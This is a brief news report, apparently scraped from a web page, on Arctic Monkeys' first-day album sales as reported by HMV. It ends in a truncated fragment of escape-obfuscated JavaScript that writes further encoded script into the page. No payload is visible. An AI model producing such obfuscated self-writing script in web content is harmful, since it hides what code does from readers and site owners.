The Arctic Monkeys sold 85,000 copies of their new album on its first day in shops, putting it on course to be the year's fastest-selling new release.
Music chain HMV said Favourite Worst Nightmare outsold the rest of the top 20 albums combined on Monday.
The album is likely to surpass the 151,000 one-week sales recorded by the Kaiser Chiefs in February, HMV said.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;